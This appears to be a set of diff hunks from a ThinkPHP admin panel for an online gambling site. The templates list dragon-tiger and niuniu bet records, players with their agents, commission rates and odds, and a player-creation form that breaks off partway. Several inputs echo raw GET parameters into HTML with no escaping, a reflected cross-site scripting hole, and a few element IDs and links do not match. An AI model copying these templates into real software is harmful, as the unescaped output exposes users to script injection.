<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="dt_list actived" data-id="1">龙虎斗游戏记录</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/player/dt_record" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) echo $get['startDate']; ?>">
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) echo $get['endDate']; ?>">
<div class="layui-input-block" id="search_table_name">
<select name="table_id" lay-search>
<option value="" selected>桌台</option>
{volist name="table_list" id="vo"}
<option value="{$vo.id}" <?php if( isset($get['table_id']) && $get['table_id'] == $vo['id']) echo 'selected="selected"'; ?> >{$vo.table_name}</option>
{/volist}
</select>
</div>
<input class="layui-input" placeholder="账号" name="username" id="username" value="<?php if(isset($get['username'])) echo $get['username']; ?>" lay-key="">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出excel</span>
<!-- <span class="layui-btn" id="print">打印</span> -->
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>玩家账号</th>
<th>代理</th>
<th>游戏桌台</th>
<th>局号</th>
<th>结果</th>
<th>龙下注额</th>
<th>虎下注额</th>
<th>和下注额</th>
<th>输赢</th>
<th>下注时间</th>
</tr>
</thead>
<tbody>
{if $isData eq true}
{foreach name="dt_list" item="vo"}
<tr>
<td>{$vo.user_nickname}</td>
<td>{if $vo.agent_parent_username neq ''}{$vo.agent_parent_username}{/if}</td>
<td>{$vo.table_name}</td>
<td>{$vo.record_num}</td>
<td>{$vo.result}</td>
<td>{$vo.banker_amount}</td>
<td>{$vo.player_amount}</td>
<td>{$vo.tie_amount}</td>
<td>{$vo.win_total}</td>
<td>{$vo.create_time}</td>
</tr>
{/foreach}
{else}
<tr>
<td colspan="11" style="text-align: center;">当日暂无数据</td>
</tr>
{/if}
</tbody>
</table>
{$dt_list->render()}
</div>
<script type="text/javascript">
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/player/dt_record';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
// 打印数据
$('#print').click(function(){
var qs = getQueryString();
var startDate = qs["startDate"];
var endDate = qs["endDate"];
var table_id = qs["table_id"];
var username = qs["username"];
if(startDate == undefined){
startDate = '';
}
if(endDate == undefined){
endDate = '';
}
if(table_id == undefined){
table_id = '';
}
if(username == undefined){
username = '';
}
layer.open({
type: 2,
title: '龙虎斗游戏记录打印',
content: '/player/dt_record_print?startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id+'&username='+username,
area: ['95%', '95%']
});
});
function getQueryString() {
var qs = location.search.substr(1), // 获取url中"?"符后的字串
args = {}, // 保存参数数据的对象
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
item = null,
len = items.length;
for(var i = 0; i < len; i++) {
item = items[i].split("=");
var name = decodeURIComponent(item[0]),
value = decodeURIComponent(item[1]);
if(name) {
args[name] = value;
}
}
return args;
}
// 导出excel
$('#export').click(function(){
// 获取参数
var startDate = $('#start').val();
var endDate = $('#end').val();
var table_id = $('#table_name').val();
var username = $('#username').val();
if(startDate == undefined){
startDate = '';
}
if(endDate == undefined){
endDate = '';
}
if(table_id == undefined){
table_id = '';
}
if(username == undefined){
username = '';
}
layer.confirm('确定导出 excel 吗?',function(index){
location.href = '/player/dt_record?export=1&startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id+'&username='+username;
layer.close(index);
});
})
</script>
</body>
</html>
@@ -0,0 +1,40 @@
{include file="public/header"}
<body>
<div class="x-body">
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
<table class="layui-table">
<div style="text-align: center;font-size: 18px;font-weight:bold;">龙虎斗游戏记录</div>
<thead>
<tr>
<th style="text-align: center;">玩家账号</th>
<th style="text-align: center;">代理</th>
<th style="text-align: center;">游戏桌台</th>
<th style="text-align: center;">局号</th>
<th style="text-align: center;">结果</th>
<th style="text-align: center;">龙下注额</th>
<th style="text-align: center;">虎下注额</th>
<th style="text-align: center;">和下注额</th>
<th style="text-align: center;">输赢</th>
<th style="text-align: center;">下注时间</th>
</tr>
</thead>
<tbody>
{foreach name="dt_list" item="vo"}
<tr>
<td>{$vo.user_nickname}</td>
<td>{if $vo.agent_parent_username neq ''}{$vo.agent_parent_username}{/if}</td>
<td>{$vo.table_name}</td>
<td>{$vo.record_num}</td>
<td>{$vo.result}</td>
<td>{$vo.banker_amount}</td>
<td>{$vo.player_amount}</td>
<td>{$vo.tie_amount}</td>
<td>{$vo.win_total}</td>
<td>{$vo.create_time}</td>
</tr>
{/foreach}
</tbody>
</div>
</body>
</html>
+360
View File
@@ -0,0 +1,360 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.alert{position:fixed; top:15%; left:30%; width:600px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
.alert-main th{width:40%; border-left:none; text-align:right;}
.alert-main td{border-right:none; }
.alert-footer{padding:20px; text-align:center;}
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">玩家列表</a>
<a href="javascript:;" class="list-two" data-id="2">玩家添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/player/index" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<div class="layui-input-block" >
<select name="status" id="status">
<option value="-1" >请选择玩家状态</option>
<option value="1" <?php if(isset($get['status']) && $get['status'] == 1) {echo 'selected';} ?>>正常</option>
<option value="2" <?php if(isset($get['status']) && $get['status'] == 2) {echo 'selected';} ?>>锁定</option>
</select>
</div>
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<input type="text" name="agent_parent" id="agent_parent" placeholder="请输入上级代理" autocomplete="off" class="layui-input" value="<?php if(isset($get['agent_parent'])) {echo $get['agent_parent'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出excel</span>
<!-- <span class="layui-btn" id="print">打印</span> -->
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>用户名</th>
<th>联系人</th>
<th>手机</th>
<th>邮箱</th>
<th>上级代理</th>
<th>投注方式</th>
<th>最近上分</th>
<th>商户余额</th>
<th>百家乐码率(%)</th>
<th>龙虎码率(%)</th>
<th>总下注</th>
<th>总赢</th>
<th>码量</th>
<th>日赢上限</th>
<th>赔率</th>
<th>创建日期</th>
<th>状态</th>
<th>操作</th>
</tr>
</thead>
<tbody>
{foreach name="agent_list" item="vo"}
<tr>
<td>{$vo.username}</td>
<td>{$vo.nickname}</td>
<td>{$vo.mobile}</td>
<td>{$vo.email}</td>
{if condition="$vo.agent_parent_id > 0"}
<td>{$vo.agent_parent_username}</td>
{else}
<td>无</td>
{/if}
<td>{$vo.bet_type}</td>
<td>{$vo.last_recharge}</td>
<td>{$vo.money}</td>
<td>{$vo.agent_ximalv}</td>
<td>{$vo.agent_ximalv_dt}</td>
<td>{$vo.all_bet_amount}</td>
<td>{$vo.win_total}</td>
<td>{$vo.maliang}</td>
<td>{$vo.win_limit}</td>
<th>
<a href="javascript:;" onclick="showPrice(this)" price-username="{$vo.username}" price-banker="{$vo.price_banker}" price-player="{$vo.price_player}" price-tie-baccarat="{$vo.price_tie_baccarat}" price-pair="{$vo.price_pair}" price-dragon="{$vo.price_dragon}" price-tiger="{$vo.price_tiger}" price-tie-dt="{$vo.price_tie_dt}" price-n7-n9="{$vo.price_n7_n9}" price-nn="{$vo.price_nn}" price-5n="{$vo.price_5n}">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" >查看</span>
</a>
</th>
<td style="width:80px;">{$vo.reg_time}</td>
{if condition="$vo.status == 1"}
<td class="td-status">
<span class="layui-btn layui-btn-normal layui-btn-mini">正常</span>
</td>
{else}
<td class="td-status">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">锁定中</span>
</td>
{/if}
<td class="td-manage">
{if condition="$vo.status == 1"}
<a onclick="member_stop(this,'{$vo.id}')" href="javascript:;" title="锁定">
<span class="layui-btn layui-btn-normal layui-btn-mini">锁定</span>
</a>
{else}
<a onclick="member_stop(this,'{$vo.id}')" href="javascript:;" title="解锁">
<span class="layui-btn layui-btn-normal layui-btn-mini">解锁</span>
</a>
{/if}
<a href="/player/player_edit?id={$vo.id}">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">修改</span>
</a>
<a onclick="member_del(this,'{$vo.id}')" href="javascript:;">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">删除</span>
</a>
</td>
</tr>
{/foreach}
</tbody>
</table>
{$agent_list->render()}
</div>
<div class="alert" id="alert_price">
<div class="alert-title" id="show_price_username"></div>
<div class="alert-main">
<table class="layui-table" style="margin:0;">
<tr><th>押庄赔率:</th><td id="show_price_banker"></td></tr>
<tr><th>押闲赔率:</th><td id="show_price_player"></td></tr>
<tr><th>押和赔率(百家乐):</th><td id="show_price_tie_baccarat"></td></tr>
<tr><th>押对子赔率:</th><td id="show_price_pair"></td></tr>
<tr><th>押龙赔率:</th><td id="show_price_dragon"></td></tr>
<tr><th>押虎赔率:</th><td id="show_price_tiger"></td></tr>
<tr><th>押和赔率(龙虎斗):</th><td id="show_price_tie_dt"></td></tr>
<tr><th>押牛7-牛9赔率:</th><td id="show_price_n7_n9"></td></tr>
<tr><th>押牛牛赔率:</th><td id="show_price_nn"></td></tr>
<tr><th>押五公赔率:</th><td id="show_price_5n"></td></tr>
</table>
</div>
<div class="alert-footer">
<span onclick="hiddenForm('alert_price')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
</div>
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/player/index';
if(id == "2") location.href = '/player/player_add';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
/*用户-锁定/解锁*/
function member_stop(obj, id) {
layer.confirm('确认要' + $(obj).attr('title') + '吗?', function (index) {
if ($(obj).attr('title') == '锁定') {
// 拼装数据发送后台 锁定 会员
var query = new Object;
query.user_id = id;
query.status = 0;
var result = ajax('/player/change_status', query);
} else {
// 拼装数据发送后台 解锁 会员
var query = new Object;
query.user_id = id;
query.status = 1;
var result = ajax('/player/change_status', query);
}
// 判断结果 弹出提示
if (result.code == 1) {
layer.msg(result.msg, {icon: 1, time: 1500});
setInterval(function () {
location.reload();
}, 1500);
} else {
layer.msg(result.msg, {icon: 2, time: 1500});
}
});
}
/*用户-删除*/
function member_del(obj, id) {
layer.confirm('确认要删除吗?',function () {
// 数据验证
if(id <= 0){
layer.msg('删除用户出错!');
return false;
}
// 拼装数据
var query = new Object;
query.user_id = id;
// 发送数据到后台删除会员
var result = ajax('/player/player_del',query);
if(result.code == 1){
layer.msg(result.msg, {icon: 1, time: 1000},function(){
location.reload();
});
}else if(result.code == 0){
layer.msg(result.msg, {icon: 2, time: 1000});
}
});
}
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
$('#print').click(function(){
var qs = getQueryString();
var startDate = qs["startDate"];
var endDate = qs["endDate"];
var status = qs["status"];
var username = qs["username"];
var agent_parent = qs["agent_parent"];
if(startDate == undefined){
startDate = '';
}
if(endDate == undefined){
endDate = '';
}
if(status == undefined){
status = '';
}
if(username == undefined){
username = '';
}
if(agent_parent == undefined){
agent_parent = '';
}
layer.open({
type: 2,
title:'玩家列表打印',
content: '/player/player_print?startDate='+startDate+'&endDate='+endDate+'&status='+status+'&username='+username+'&agent_parent='+agent_parent,
area: ['95%', '95%']
});
});
function getQueryString() {
var qs = location.search.substr(1), // 获取url中"?"符后的字串
args = {}, // 保存参数数据的对象
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
item = null,
len = items.length;
for(var i = 0; i < len; i++) {
item = items[i].split("=");
var name = decodeURIComponent(item[0]),
value = decodeURIComponent(item[1]);
if(name) {
args[name] = value;
}
}
return args;
}
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var status = $('#status').val();
var agent_parent = $('#agent_parent').val();
var username = $('#username').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/player/index?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&status="+status+"&&agent_parent="+agent_parent+"&&username="+username;
layer.close(index);
});
})
// 显示用户的赔率
function showPrice(obj){
// 获取赔率数据
var price_username = $(obj).attr('price-username');
var price_banker = $(obj).attr('price-banker');
var price_player = $(obj).attr('price-player');
var price_tie_baccarat = $(obj).attr('price-tie-baccarat');
var price_pair = $(obj).attr('price-pair');
var price_dragon = $(obj).attr('price-dragon');
var price_tiger = $(obj).attr('price-tiger');
var price_tie_dt = $(obj).attr('price-tie-dt');
var price_n7_n9 = $(obj).attr('price-n7-n9');
var price_nn = $(obj).attr('price-nn');
var price_5n = $(obj).attr('price-5n');
// 显示赔率数据
$('#show_price_username').html(price_username+" 的赔率");
$('#show_price_banker').html(price_banker);
$('#show_price_player').html(price_player);
$('#show_price_tie_baccarat').html(price_tie_baccarat);
$('#show_price_pair').html(price_pair);
$('#show_price_dragon').html(price_dragon);
$('#show_price_tiger').html(price_tiger);
$('#show_price_tie_dt').html(price_tie_dt);
$('#show_price_n7_n9').html(price_n7_n9);
$('#show_price_nn').html(price_nn);
$('#show_price_5n').html(price_5n);
$('#alert_price').show();
}
//点击隐藏表单弹窗
function hiddenForm(id) {
$('#' + id).hide();
}
</script>
</body>
</html>
@@ -0,0 +1,268 @@
{include file="public/header"}
<body>
<style type="text/css">
textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.x-body .layui-form .layui-input-block{display:inline-block; width:150px; margin-left:0; }
.x-so input.layui-input{width: 150px;}
.layui-input{border: 1px solid #ccc;}
.x-so{ margin-bottom:0;background:#f5f5f5;padding:15px 0; border-radius:10px;}
.x-body .layui-row{margin-top:-25px;}
.alert{position:fixed; top:15%; left:30%; width:600px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
.alert-main th{width:25%; border-left:none; text-align:right;}
.alert-main td{width:25%;}
.alert-footer{padding:20px; text-align:center;}
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
</style>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="dt_list actived" data-id="1">牛牛游戏记录</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/player/nn_record" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) echo $get['startDate']; ?>">
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) echo $get['endDate']; ?>">
<div class="layui-input-block" id="search_table_name">
<select name="table_id" lay-search>
<option value="" selected>桌台</option>
{volist name="table_list" id="vo"}
<option value="{$vo.id}" <?php if( isset($get['table_id']) && $get['table_id'] == $vo['id']) echo 'selected="selected"'; ?> >{$vo.table_name}</option>
{/volist}
</select>
</div>
<input class="layui-input" placeholder="账号" name="username" id="username" value="<?php if(isset($get['username'])) echo $get['username']; ?>" lay-key="">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出excel</span>
<!-- <span class="layui-btn" id="print">打印</span> -->
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>玩家账号</th>
<th>代理</th>
<th>游戏桌台</th>
<th>局号</th>
<th>结果</th>
<th>下注详情</th>
<th>总下注额</th>
<th>输赢</th>
<th>下注时间</th>
</tr>
</thead>
<tbody>
{if $isData eq true}
{foreach name="nn_list" item="vo"}
<tr>
<td>{$vo.user_nickname}</td>
<td>{if $vo.agent_parent_username neq ''}{$vo.agent_parent_username}{/if}</td>
<td>{$vo.table_name}</td>
<td>{$vo.record_num}</td>
<td>{$vo.result}</td>
<td>
<a href="javascript:;" onclick="showBet(this)" amount_player_1="{$vo.amount_player_1}" amount_player_1_times="{$vo.amount_player_1_times}" amount_player_1_banker="{$vo.amount_player_1_banker}" amount_player_1_banker_times="{$vo.amount_player_1_banker_times}" amount_player_2="{$vo.amount_player_2}" amount_player_2_times="{$vo.amount_player_2_times}" amount_player_2_banker="{$vo.amount_player_2_banker}" amount_player_2_banker_times="{$vo.amount_player_2_banker_times}" amount_player_3="{$vo.amount_player_3}" amount_player_3_times="{$vo.amount_player_3_times}" amount_player_3_banker="{$vo.amount_player_3_banker}" amount_player_3_banker_times="{$vo.amount_player_3_banker_times}">
<span class="layui-btn layui-btn-mini" style="background:#009688;" >查看</span>
</a>
</td>
<td>{$vo.amount}</td>
<td>{$vo.win_total}</td>
<td>{$vo.create_time}</td>
</tr>
{/foreach}
{else}
<tr>
<td colspan="11" style="text-align: center;">当日暂无数据</td>
</tr>
{/if}
</tbody>
</table>
</div>
<div class="alert" id="bet_info">
<div class="alert-title">下注详情</div>
<div class="alert-main">
<table class="layui-table" style="margin:0;">
<tr>
<th>闲一平倍:</th>
<td id="amount_player_1"></td>
<th>闲一翻倍:</th>
<td id="amount_player_1_times"></td>
</tr>
<tr>
<th>闲一庄平倍:</th>
<td id="amount_player_1_banker"></td>
<th>闲一庄翻倍:</th>
<td id="amount_player_1_banker_times"></td>
</tr>
<tr>
<th>闲二平倍:</th>
<td id="amount_player_2"></td>
<th>闲二翻倍:</th>
<td id="amount_player_2_times"></td>
</tr>
<tr>
<th>闲二庄平倍:</th>
<td id="amount_player_2_banker"></td>
<th>闲二庄翻倍:</th>
<td id="amount_player_2_banker_times"></td>
</tr>
<tr>
<th>闲三平倍:</th>
<td id="amount_player_3"></td>
<th>闲三翻倍:</th>
<td id="amount_player_3_times"></td>
</tr>
<tr>
<th>闲三庄平倍:</th>
<td id="amount_player_3_banker"></td>
<th>闲三庄翻倍:</th>
<td id="amount_player_3_banker_times"></td>
</tr>
</table>
</div>
<div class="alert-footer">
<span onclick="hiddenForm('bet_info')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
</div>
</div>
<script type="text/javascript">
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/player/dn_record';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
// 打印数据
$('#print').click(function(){
var qs = getQueryString();
var startDate = qs["startDate"];
var endDate = qs["endDate"];
var table_id = qs["table_id"];
var username = qs["username"];
if(startDate == undefined){
startDate = '';
}
if(endDate == undefined){
endDate = '';
}
if(table_id == undefined){
table_id = '';
}
if(username == undefined){
username = '';
}
layer.open({
type: 2,
title: '牛牛游戏记录打印',
content: '/player/nn_record_print?startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id+'&username='+username,
area: ['95%', '95%']
});
});
function getQueryString() {
var qs = location.search.substr(1), // 获取url中"?"符后的字串
args = {}, // 保存参数数据的对象
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
item = null,
len = items.length;
for(var i = 0; i < len; i++) {
item = items[i].split("=");
var name = decodeURIComponent(item[0]),
value = decodeURIComponent(item[1]);
if(name) {
args[name] = value;
}
}
return args;
}
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var table_id = $('#table_id').val();
var username = $('#username').val();
if(startDate == undefined){
startDate = '';
}
if(endDate == undefined){
endDate = '';
}
if(table_id == undefined){
table_id = '';
}
if(username == undefined){
username = '';
}
layer.confirm('确定导出 excel 吗?',function(index){
location.href = '/player/nn_record?export=1&startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id+'&username='+username;
layer.close(index);
});
})
// 显示用户的下注详情
function showBet(obj){
// 获取赔率数据
var amount_player_1 = $(obj).attr('amount_player_1');
var amount_player_1_times = $(obj).attr('amount_player_1_times');
var amount_player_1_banker = $(obj).attr('amount_player_1_banker');
var amount_player_1_banker_times = $(obj).attr('amount_player_1_banker_times');
var amount_player_2 = $(obj).attr('amount_player_2');
var amount_player_2_times = $(obj).attr('amount_player_2_times');
var amount_player_2_banker = $(obj).attr('amount_player_2_banker');
var amount_player_2_banker_times = $(obj).attr('amount_player_2_banker_times');
var amount_player_3 = $(obj).attr('amount_player_3');
var amount_player_3_times = $(obj).attr('amount_player_3_times');
var amount_player_3_banker = $(obj).attr('amount_player_3_banker');
var amount_player_3_banker_times = $(obj).attr('amount_player_3_banker_times');
$('#amount_player_1').html(amount_player_1);
$('#amount_player_1_times').html(amount_player_1_times);
$('#amount_player_1_banker').html(amount_player_1_banker);
$('#amount_player_1_banker_times').html(amount_player_1_banker_times);
$('#amount_player_2').html(amount_player_2);
$('#amount_player_2_times').html(amount_player_2_times);
$('#amount_player_2_banker').html(amount_player_2_banker);
$('#amount_player_2_banker_times').html(amount_player_2_banker_times);
$('#amount_player_3').html(amount_player_3);
$('#amount_player_3_times').html(amount_player_3_times);
$('#amount_player_3_banker').html(amount_player_3_banker);
$('#amount_player_3_banker_times').html(amount_player_3_banker_times);
$('#bet_info').show();
}
//点击隐藏表单弹窗
function hiddenForm(id) {
$('#' + id).hide();
}
</script>
</body>
</html>
@@ -0,0 +1,36 @@
{include file="public/header"}
<body>
<div class="x-body">
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
<table class="layui-table">
<div style="text-align: center;font-size: 18px;font-weight:bold;">牛牛游戏记录</div>
<thead>
<tr>
<th style="text-align: center;">玩家账号</th>
<th style="text-align: center;">代理</th>
<th style="text-align: center;">游戏桌台</th>
<th style="text-align: center;">局号</th>
<th style="text-align: center;">结果</th>
<th style="text-align: center;">总下注额</th>
<th style="text-align: center;">输赢</th>
<th style="text-align: center;">下注时间</th>
</tr>
</thead>
<tbody>
{foreach name="nn_list" item="vo"}
<tr>
<td>{$vo.user_nickname}</td>
<td>{if $vo.agent_parent_username neq ''}{$vo.agent_parent_username}{/if}</td>
<td>{$vo.table_name}</td>
<td>{$vo.record_num}</td>
<td>{$vo.result}</td>
<td>{$vo.amount}</td>
<td>{$vo.win_total}</td>
<td>{$vo.create_time}</td>
</tr>
{/foreach}
</tbody>
</div>
</body>
</html>
@@ -0,0 +1,398 @@
{include file="public/header"}
<style>
textarea, input[type="text"], input[type="password"],
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; }
.x-nav .refresh{margin-right: 20px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">玩家列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">玩家添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">上级代理:</label>
<div class="controls">
<select name="parent_agent" id="parent_agent">
<option value="0">无</option>
{foreach name="agent_list" item="vo"}
<option value="{$vo.id}">{$vo.username}</option>
{/foreach}
</select>
</div>
</div>
<div class="control-group">
<label class="control-label">账号:</label>
<div class="controls">
<input id="L_username" name="L_username" type="text" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * 将会成为您唯一的登入名</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">昵称:</label>
<div class="controls">
<input id="L_nickname" name="L_nickname" type="text" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">密码:</label>
<div class="controls">
<input id="L_pass" name="L_pass" type="password" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * 6到16个字符</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">确认密码:</label>
<div class="controls">
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 与密码保持一致</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">手机号码:</label>
<div class="controls">
<input id="L_mobile" name="L_mobile" type="text" value maxlength="50" minlength="3" class="required"><span class="help-inline">
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">邮箱:</label>
<div class="controls">
<input id="L_email" name="L_email" type="text" value maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">百家乐码率(%):</label>
<div class="controls">
<input id="L_ximalv" name="L_ximalv" type="text" value="0" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 无上级代理最高不能超过100% </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">龙虎码率(%):</label>
<div class="controls">
<input id="L_ximalv_dt" name="L_ximalv_dt" type="text" value="0" maxlength="50" minlength="3" class="required"><span class="help-inline">
